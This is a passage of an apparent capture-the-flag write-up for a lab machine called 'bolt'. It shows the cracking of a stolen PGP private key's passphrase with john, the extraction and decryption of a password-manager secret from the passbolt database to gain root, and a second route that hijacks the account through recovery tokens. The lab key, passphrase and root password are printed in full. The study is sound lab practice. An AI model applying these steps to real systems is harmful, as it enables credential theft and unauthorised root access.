KP9sBvplPPBrSAQmqukQoH1iGmqWhGAckSS/WpaPSEOG3K5lcpt5EneFC64f
a6yNKT1Z649ihWOv+vpOEftJVjOvruyblhl5QMNUPnvGADHdjZ9SRmo+su67
JAKMm0cf1opW9x+CMMbZpK9m3QMyXtKyEkYP5w3EDMYdM83vExb0DvbUEVFH
kERD10SVfII2e43HFgU+wXwYR6cDSNaNFdwbybXQ0quQuUQtUwOH7t/Kz99+
Ja9e91nDa3oLabiqWqKnGPg+ky0oEbTKDQZ7Uy66tugaH3H7tEUXUbizA6cT
Gh4htPq0vh6EJGCPtnyntBdSryYPuwuLI5WrOKT+0eUWkMA5NzJwHbJMVAlB
GquB8QmrJA2QST4v+/xnMLFpKWtPVifHxV4zgaUF1CAQ67OpfK/YSW+nqong
cVwHHy2W6hVdr1U+fXq9XsGkPwoIJiRUC5DnCg1bYJobSJUxqXvRm+3Z1wXO
n0LJKVoiPuZr/C0gDkek/i+p864FeN6oHNxLVLffrhr77f2aMQ4hnSsJYzuz
4sOO1YdK7/88KWj2QwlgDoRhj26sqD8GA/PtvN0lvInYT93YRqa2e9o7gInT
4JoYntujlyG2oZPLZ7tafbSEK4WRHx3YQswkZeEyLAnSP6R2Lo2jptleIV8h
J6V/kusDdyek7yhT1dXVkZZQSeCUUcQXO4ocMQDcj6kDLW58tV/WQKJ3duRt
1VrD5poP49+OynR55rXtzi7skOM+0o2tcqy3JppM3egvYvXlpzXggC5b1NvS
UCUqIkrGQRr7VTk/jwkbFt1zuWp5s8zEGV7aXbNI4cSKDsowGuTFb7cBCDGU
Nsw+14+EGQp5TrvCwHYEGAEIAAkFAmA4G2ECGwwAIQkQHCdBo9w7Sr0WIQTf
QmvHpKivWOUO2g4cJ0Gj3DtKvf4dB/9CGuPrOfIaQtuP25S/RLVDl8XHvzPm
oRdF7iu8ULcA9gTxPn8DNbtdZEnFHHOANAHnIFGgYS4vj3Dj9Q3CEZSSVvwg
6599FMcw9nGzypVOgqgQv8JGmIUeCipD10k8nHW7m9YBfQB04y9wJw99WNw/
Ic3vdhZ6NvsmLzYI21dnWD287sPj2tKAuhI0AqCEkiRwb4Z4CSGgJ5TgGML8
11Izrkqamzpc6mKBGi213tYH6xel3nDJv5TKm3AGwXsAhJjJw+9K0MNARKCm
YZFGLdtA/qMajW4/+T3DJ79YwPQOtCrFyHiWoIOTWfs4UhiUJIE4dTSsT/W0
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----

The key is protected with a passphrase but we can use gpg2john and john to crack it quickly.

1
2
3
$ gpg2john key.gpg > keyhash

File key.gpg
1
2
3
4
5
6
7
8
9
10
11
12
13
$ john --wordlist=rockyou.txt keyhash
Warning: detected hash type "gpg", but the string is also recognized as "gpg-opencl"
Use the "--format=gpg-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 16777216 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
merrychristmas   (Eddie Johnson)
1g 0:00:00:30 DONE (2021-09-26 12:13) 0.03298g/s 1413p/s 1413c/s 1413C/s misericordia..memoteamo
Use the "--show" option to display all of the cracked passwords reliably

Manually

There there were different methods to use this key to the decrypt the secret stored in passbolt. One was to retrieve the pgp message from the database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
eddie@bolt:~$ mysql -u passbolt -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 807
Server version: 8.0.26-0ubuntu0.20.04.2 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| passboltdb         |
+--------------------+
2 rows in set (0.00 sec)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mysql> use passboltdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changedmysql> show tables;
+-----------------------+|
| account_settings      |
| action_logs           |
| actions               |
| authentication_tokens |
| avatars               |
| comments              |
| email_queue           |
| entities_history      |
| favorites             |
| gpgkeys               |
| groups                |
| groups_users          |
| organization_settings |
| permissions           |
| permissions_history   |
| phinxlog              |
| profiles              |
| resource_types        |
| resources             |
| roles                 |
| secret_accesses       |
| secrets               |
| secrets_history       |
| user_agents           |
| users                 |
+-----------------------+
25 rows in set (0.00 sec)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
mysql> select * from secrets;
...[snip]...
-----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
=P38i
-----END PGP MESSAGE-----
...[snip]...
1 row in set (0.00 sec)

We save the message to message.enc and import the private key into gpg.

1
2
3
4
5
6
7
$ gpg --import key.gpg
gpg: key 1C2741A3DC3B4ABD: "Eddie Johnson <eddie@bolt.htb>" not changed
gpg: key 1C2741A3DC3B4ABD: secret key imported
gpg: Total number processed: 1
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

Now we can decrypt the message.

1
2
3
4
5
6
7
8
9
$ gpg --output message.txt --decrypt message.enc
gpg: encrypted with 2048-bit RSA key, ID F65CA879A3D77FE4, created 2021-02-25
      "Eddie Johnson <eddie@bolt.htb>"
gpg: Signature made Sat 06 Mar 2021 03:33:54 PM GMT
gpg:                using RSA key 1C2741A3DC3B4ABD
gpg: Good signature from "Eddie Johnson <eddie@bolt.htb>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: DF42 6BC7 A4A8 AF58 E50E  DA0E 1C27 41A3 DC3B 4ABD

This reveals a password which let’s us switch to the root user and read the flag.

1
2
$ cat message.txt
{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}
1
2
root@bolt:~# wc -c root.txt
33 root.txt

Passbolt

Another method was to use passbolt following this forum post. We first use the email for eddie on the passbolt application.

bolt_reset

Then we connect to the database with the earlier found password and retrieve the needed user id and authentication token to reset access to passbolt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
eddie@bolt:~$ mysql -u passbolt -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 943
Server version: 8.0.26-0ubuntu0.20.04.2 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use passboltdb
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select * form authentication_tokens;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'form authentication_tokens' at line 1
mysql> select * from users;
+--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+
| id                                   | role_id                              | username       | active | deleted | created             | modified            |
+--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+
| 4e184ee6-e436-47fb-91c9-dccb57f250bc | 1cfcd300-0664-407e-85e6-c11664a7d86c | eddie@bolt.htb |      1 |       0 | 2021-02-25 21:42:50 | 2021-02-25 21:55:06 |
| 9d8a0452-53dc-4640-b3a7-9a3d86b0ff90 | 975b9a56-b1b1-453c-9362-c238a85dad76 | clark@bolt.htb |      1 |       0 | 2021-02-25 21:40:29 | 2021-02-25 21:42:32 |
+--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+
2 rows in set (0.00 sec)

mysql> select * from authentication_tokens;
+--------------------------------------+--------------------------------------+--------------------------------------+--------+---------------------+---------------------+----------+------+
| id                                   | token                                | user_id                              | active | created             | modified            | type     | data |
+--------------------------------------+--------------------------------------+--------------------------------------+--------+---------------------+---------------------+----------+------+
| 015b22eb-694f-4c94-a97d-0c87d69017ed | a7b19b6b-9f7f-482b-b677-b284ad5d6a29 | 4e184ee6-e436-47fb-91c9-dccb57f250bc |      0 | 2021-02-25 22:31:57 | 2021-02-25 22:31:58 | login    | NULL |
| 3a52a181-e3ff-4289-9fab-c42b6c215c8e | 9147f42a-7d6b-4721-ab84-b86c210bde11 | 4e184ee6-e436-47fb-91c9-dccb57f250bc |      1 | 2021-09-26 10:50:30 | 2021-09-26 10:50:30 | recover  | NULL |
| 463f2e84-1f36-4e2f-ac0d-0010b96edee3 | f861c953-aac8-4902-88da-5d17aca0ffde | 9d8a0452-53dc-4640-b3a7-9a3d86b0ff90 |      0 | 2021-02-25 21:41:46 | 2021-02-25 21:41:47 | login    | NULL |
| 57bb11fb-01e5-413c-9442-1d9bc480dbfb | cb900e0b-c602-4da7-acb6-f1daec248836 | 4e184ee6-e436-47fb-91c9-dccb57f250bc |      0 | 2021-02-25 21:49:38 | 2021-02-25 21:49:39 | login    | NULL |
| 5bb9d763-c95c-4986-9119-542133e3279c | 5779bcad-2c17-487c-bf01-8168a3b20393 | 9d8a0452-53dc-4640-b3a7-9a3d86b0ff90 |      0 | 2021-02-25 21:40:29 | 2021-02-25 21:41:14 | register | NULL |
| feb08771-2e55-43d8-92bc-d4a34d403273 | 8c7d2952-1598-420d-a666-fdece8f02bfc | 4e184ee6-e436-47fb-91c9-dccb57f250bc |      0 | 2021-02-25 21:42:50 | 2021-02-25 21:49:38 | register | NULL |
+--------------------------------------+--------------------------------------+--------------------------------------+--------+---------------------+---------------------+----------+------+
6 rows in set (0.00 sec)

To use passbolt we first have to install the browser extension.

passbolt_addon

Now we can import the GPG private key for eddie and specify the passphrase we retrieved with john.

passbolt_import

passbolt_passphrase

Now we have to select 3 random letters and a color as additional security requirement.

passbolt_color

Being logged into passbolt as eddie we can now retrieve the root password using the passphrase, switch to the root user and add the flag to our collection.

passbolt_decrypt

1
2
3
4
eddie@bolt:~$ su -
Password:
root@bolt:~# wc -c root.txt
33 root.txt